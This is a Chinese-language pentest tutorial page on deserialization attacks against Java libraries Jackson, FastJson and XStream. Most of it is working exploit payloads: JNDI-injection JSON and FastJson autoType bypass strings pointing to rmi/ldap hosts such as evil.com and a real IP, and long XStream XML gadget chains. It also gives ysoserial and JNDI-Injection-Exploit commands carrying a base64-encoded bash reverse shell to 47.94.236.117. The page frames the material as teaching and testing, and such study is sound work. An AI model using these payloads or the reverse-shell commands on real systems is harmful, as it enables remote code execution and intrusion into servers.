当前位置: 首页 > news >正文

服务攻防-Java组件安全数据处理FastJsonJackSonXStream自动BP插件CVE漏洞

知识点:
服务攻防-Java组件-数据处理&FastJson&JackSon&XStream

黑盒检测:
1、Java应用
2、请求参数数据以json/xml格式发送测试
3、Content-Type: application/xml 或 json
4、报错提示到了使用的组件类名

白盒检测:直接看引用组件版本

一、演示案例-服务攻防-Java组件-数据处理&J2EE组件&JackSon

当下流行的json解释器,主要负责处理Json的序列化和反序列化。

1、代码执行 (CVE-2020-8840)

影响版本:2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2


String json="[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";



2、代码执行 (CVE-2020-35728)

影响版本:FasterXML jackson-databind 2.x < 2.9.10.8

String payload="[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"rmi://47.94.236.117:1099/gtaafz\"}]";



二、演示案例-服务攻防-Java组件-数据处理&J2EE组件&FastJson

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean

重点就是:不同版本的fastjson,不同的poc

1、FastJson <= 1.2.24




{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil.com:9999/TouchFile","autoCommit":true}}

2、FastJson <= 1.2.47


{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil.com:9999/Exploit","autoCommit":true}}

3、FastJson <= 1.2.80(利用条件比较苛刻)

利用poc只能用源码项目中调用的第三方库或者组件(类)等。




在实战中,获取目标项目源码后看下调用的第三方库或者组件有哪些,然后在利用poc项目去找对应的POC去测试看看(机会不大)。

利用POC:https://github.com/kezibei/fastjson_payload(该项目是针对不同环境的)

4、核心点

-利用POC集合 https://github.com/kezibei/fastjson_payload https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w -探针JSON插件 https://github.com/Tsojan/TsojanScan https://github.com/Maskhe/FastjsonScan https://github.com/pmiaowu/BurpFastJsonScan https://github.com/Niiiiko/FastjsonScan4Burp -拓展版靶场复现 https://github.com/lemono0/FastJsonParty

三、演示案例-服务攻防-Java组件-数据处理&J2EE组件&XStream

开源Java类库,能将对象序列化成XMLXML反序列化为对象。

1、代码执行 (CVE-2021-21351)


影响版本:Xstream<=1.4.15

生成反弹ShellJNDI注入

java-jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-C"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}"-A47.94.236.117



构造JNDI注入PayloadPOST方式提交。

<sorted-set><javax.naming.ldap.Rdn_-RdnEntry><type>ysomap</type><valueclass='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'><m__DTMXRTreeFrag><m__dtmclass='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'><m__size>-10086</m__size><m__mgrDefault><__overrideDefaultParser>false</__overrideDefaultParser><m__incremental>false</m__incremental><m__source__location>false</m__source__location><m__dtms><null/></m__dtms><m__defaultHandler/></m__mgrDefault><m__shouldStripWS>false</m__shouldStripWS><m__indexing>false</m__indexing><m__incrementalSAXSourceclass='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'><fPullParserConfigclass='com.sun.rowset.JdbcRowSetImpl'serialization='custom'><javax.sql.rowset.BaseRowSet><default><concurrency>1008</concurrency><escapeProcessing>true</escapeProcessing><fetchDir>1000</fetchDir><fetchSize>0</fetchSize><isolation>2</isolation><maxFieldSize>0</maxFieldSize><maxRows>0</maxRows><queryTimeout>0</queryTimeout><readOnly>true</readOnly><rowSetType>1004</rowSetType><showDeleted>false</showDeleted><dataSource>rmi://evil-ip:1099/example</dataSource><listeners/><params/></default></javax.sql.rowset.BaseRowSet><com.sun.rowset.JdbcRowSetImpl><default/></com.sun.rowset.JdbcRowSetImpl></fPullParserConfig><fConfigSetInput><class>com.sun.rowset.JdbcRowSetImpl</class><name>setAutoCommit</name><parameter-types><class>boolean</class></parameter-types></fConfigSetInput><fConfigParsereference='../fConfigSetInput'/><fParseInProgress>false</fParseInProgress></m__incrementalSAXSource><m__walker><nextIsRaw>false</nextIsRaw></m__walker><m__endDocumentOccured>false</m__endDocumentOccured><m__idAttributes/><m__textPendingStart>-1</m__textPendingStart><m__useSourceLocationProperty>false</m__useSourceLocationProperty><m__pastFirstElement>false</m__pastFirstElement></m__dtm><m__dtmIdentity>1</m__dtmIdentity></m__DTMXRTreeFrag><m__dtmRoot>1</m__dtmRoot><m__allowRelease>false</m__allowRelease></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>ysomap</type><valueclass='com.sun.org.apache.xpath.internal.objects.XString'><m__objclass='string'>test</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry></sorted-set>


2、代码执行 (CVE-2021-29505)

影响版本:XStream <= 1.4.16

生成反弹Shell的反序列化JNDI注入

java-cpysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener1099CommonsCollections6"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}"



构造反序列化JNDI注入PayloadPOST方式提交

<java.util.PriorityQueueserialization='custom'><unserializable-parents/><java.util.PriorityQueue><default><size>2</size></default><int>3</int><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><valueclass='com.sun.org.apache.xpath.internal.objects.XString'><m__objclass='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><valueclass='com.sun.xml.internal.ws.api.message.Packet'serialization='custom'><messageclass='com.sun.xml.internal.ws.message.saaj.SAAJMessage'><parsedMessage>true</parsedMessage><soapVersion>SOAP_11</soapVersion><bodyParts/><smclass='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'><attachmentsInitialized>false</attachmentsInitialized><nullIterclass='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'><aliasesclass='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'><candidatesclass='com.sun.jndi.rmi.registry.BindingEnumeration'><names><string>aa</string><string>aa</string></names><ctx><environment/><registryclass='sun.rmi.registry.RegistryImpl_Stub'serialization='custom'><java.rmi.server.RemoteObject><string>UnicastRef</string><string>evil-ip</string><int>1099</int><long>0</long><int>0</int><long>0</long><short>0</short><boolean>false</boolean></java.rmi.server.RemoteObject></registry><host>evil-ip</host><port>1099</port></ctx></candidates></aliases></nullIter></sm></message></value></javax.naming.ldap.Rdn_-RdnEntry></java.util.PriorityQueue></java.util.PriorityQueue>


http://www.jsqmd.com/news/768504/

相关文章:

  • 用Nordic nRF52832给STM32F4做蓝牙OTA升级,保姆级避坑指南(Keil环境)
  • 【保姆级教程:阿里云百炼 API Key 获取与 OpenAI 兼容调用指南】
  • Orcha工作流引擎:异步任务编排的声明式解决方案
  • CUTE:现代GPU张量计算的高效布局表示与代数操作
  • Autosar CAN驱动配置避坑指南:从芯片手册P20.7引脚到CanControllerBaseAddress的完整推导
  • 上海电力学院考研辅导班机构推荐:排行榜单与哪家好评测 - michalwang
  • Better-Plan-Mode:重构浏览器原生计划模式,打造高效信息处理工作流
  • Windows Cleaner:三步拯救你的C盘,让Windows重获新生
  • 杭州师范大学考研辅导班机构推荐:排行榜单与哪家好评测 - michalwang
  • SpringBoot+Vue 在线图书商城系统 前后端分离 计算机毕设
  • Rust微信机器人框架weixin-agent-rs:架构设计与工程实践
  • 查询【学过 001 号同学所有课程】的学生
  • 基于OpenClaw-Video-Vision的视频语义检索与理解实战指南
  • 网盘下载革命:直链解析工具如何让你的文件传输快10倍
  • C语言数据结构-11顺序二叉树
  • ClaraVerse开源框架:构建去中心化元宇宙的核心架构与开发实战
  • hermes的UI界面
  • 北京GEO公司哪家靠谱?生成式引擎优化助力品牌数字化转型
  • YOLOv8-Seg实战避坑:从COCO预训练到自定义数据集的迁移学习全记录
  • 山东农业大学考研辅导班机构推荐:排行榜单与哪家好评测 - michalwang
  • DX-BT04-A蓝牙模块AT指令配置全攻略:从改名到改波特率,一篇搞定
  • ABB机器人推出全自动表面处理工作站,打破中小企业自动化壁垒
  • Claude提示工程实战:turbo-claude规则集提升AI应用开发效率
  • Cypress AI智能测试:LLM驱动的自动化脚本生成与维护实践
  • 服务治理与系统韧性:筑牢分布式系统高可用防线
  • 2026年3月浙江艺术职校推荐,艺术职校有哪些哪家可靠宁三技校诚信务实提供高性价比服务 - 品牌推荐师
  • 精准测试:用AI与大数据定位最高风险变更域
  • 免费开源数据库工具 DBeaver 26.0.4 发布,多模块更新解决诸多问题
  • 如何轻松批量下载B站视频?BilibiliDown终极指南免费开源
  • 为你的ROS移动机器人(TurtleBot/无人机)快速集成Livox Mid360仿真模块:一个可复用的Xacro宏教程